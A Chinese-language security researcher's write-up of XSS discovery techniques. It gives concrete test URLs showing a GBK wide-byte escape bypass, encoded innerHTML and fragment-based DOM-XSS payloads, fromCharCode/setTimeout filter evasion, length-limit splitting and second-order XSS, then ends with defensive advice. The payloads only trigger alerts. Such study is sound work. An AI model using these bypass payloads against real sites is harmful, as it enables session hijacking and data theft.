Part1 技術研究過程
這個案例是源于之前測過的一個有獎活動介紹的Web頁面,整個子域名只有兩個html靜態頁面,通過burpsuite抓包發現沒有任何動態交互,因而漏洞挖掘的難度非常大。查看當前html頁面源碼,分析了一下JS代碼,發現了memberId的傳值會在當前頁面回顯,也就意味著存在XSS漏洞的可能性,但是需要閉合雙引號。輸入測試payload 402881111”; window.open(); //,發現當前頁面對XSS進行了防范,會對雙引號進行轉義而變成如下形式:var memberId=”402881111\”; window.open(); //”,導致XSS代碼無法正常運行。經過測試發現這個頁面的編碼為GBK,由此想到了使用寬字節的方法吃掉\轉義字符,從而使雙引號繼續運行。于是提交如下URL:index.html?memberId=1111%81%22;window.open();//&id=112233?由于當前頁面編號為GBK,%81與后面的 \ 被解析成一個字符變成%81%5C%22,經過GBK編碼后造成 \ 被吃掉,也就是 %81%5C 變成一個亂碼字符,從而使獨立的雙引號保留下來造成XSS漏洞。如下圖所示,表明轉義字符被吃掉,window.open();// 會被執行。
對于innerHTML內容可以自定義的情況,也可以傳入Unicode編碼的XSS測試語句,繞過各種過濾與攔截。
提交如下Unicode編碼+URL編碼后的XSS測試語句:
userID=%5Cu003c%5Cu002f%5Cu0066%5Cu006f%5Cu0072%5Cu006d%5Cu003e%5Cu003c%5Cu002f%5Cu0073%5Cu0070%5Cu0061%5Cu006e%5Cu003e%5Cu0064%5Cu0064%5Cu0064%5Cu0064%5Cu0064%5Cu0064%5Cu0064%5Cu003c%5Cu002f%5Cu0073%5Cu0070%5Cu0061%5Cu006e%5Cu003e%5Cu003c%5Cu0069%5Cu006d%5Cu0067%5Cu0020%5Cu0073%5Cu0072%5Cu0063%5Cu003d%5Cu0030%5Cu0020%5Cu006f%5Cu006e%5Cu0065%5Cu0072%5Cu0072%5Cu006f%5Cu0072%5Cu003d%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%5Cu0028%5Cu0031%5Cu0031%5Cu0031%5Cu0031%5Cu0031%5Cu0029%5Cu003e&hciPasswordTypeEOSOperator%2Fpassword
對于一個URL,#后面的部分是片段標識符,通常用于頁面內導航或者作為附加參數,不會直接發送給服務器,但在某些情況下會被客戶端腳本讀取和處理。如果目標頁面未正確處理或過濾片段標識符中的內容,可能會將這段HTML片段直接插入到DOM中,從而執行嵌入的JavaScript代碼。攻擊者可以利用這種方法在受害者的瀏覽器中執行任意JavaScript代碼,導致信息泄露、會話劫持、頁面篡改等安全問題。由于#號后面的語句不經過服務端,因而此類型的DOM-XSS可以繞過一切的WAF攔截。測試語句:http://www.xxx.com/voiceSysWeb/error.html?errorInfo=00000#%3c%69%6d%67%20%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%31%31%31%31%31%31%29%3eself.location.href會接受瀏覽器完整的URL值,包括#后面的字符串。而%3c%69%6d%67%20%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%31%31%31%31%31%31%29%3e會被str.substring(n + 1, str.length)處理,進而被decodeURIComponent方法URL編碼解碼,變成<img src=1 onerror=alert(1111111)>,然后被Jquery組件的html解析執行。
遇到返回body體中的script標簽內部的js代碼,有字符串拼接相加的情況,可以試試使用setTimeout方法來觸發XSS彈窗。測試語句:http://www.xxx.com/searchAll/searchByKeyWord.htm?keyWord=ddddd"+setTimeout(String.fromCharCode(97,108,101,114,116,40,49,49,49,41),0)+"String.fromCharCode方法用于將ASCII碼轉為字符串,97,108,101,114,116,40,49,49,49,41的ASCII碼是alert(111),setTimeout在0毫秒后執行一個alert彈窗。
這個web應用的XSS漏洞存在的位置,限制了XSS payload的長度,但是經過測試,可以使用分段提交的辦法繞過長度限制,用注釋符拼接的方式,注釋掉不同payload之間拼接過程中產生的額外字符。以下是很早之前的一個實戰案例。以下是我的實戰版本,用/*xxx*/的注釋不可行,但是可以使用//的注釋方式,最終仍然可以造成彈窗效果。
以下這個業務系統對XSS進行了一定的防范,對on事件進行了黑名單過濾。經過測試發現ondragstart沒有在黑名單之內,是可以使用的;然后這個Web應用還對<>進行HTML實體編碼,導致一切XSS漏洞均失效。但是我們通過另外的界面,通過搜索關鍵字查找我們剛剛提交的條目,發現了一個裂開的圖片,這說明重新調用過程中,該應用又對其進行了HTML解碼,導致繼續產生XSS漏洞。
Part2 總結
1. 對用戶提交的數據進行HTML編碼以及各種關鍵字過濾,并慎用HTML解碼,防止二次XSS的情況發生。2. 以#號開頭的隱式DOM-XSS攻擊語句不會經過服務端處理,因而所有的WAF均無法攔截。3. XSS漏洞的深入挖掘及利用,需要Javascript功底,因此,學好Javascript是重中之重。
該文章在 2024/10/31 10:08:58 編輯過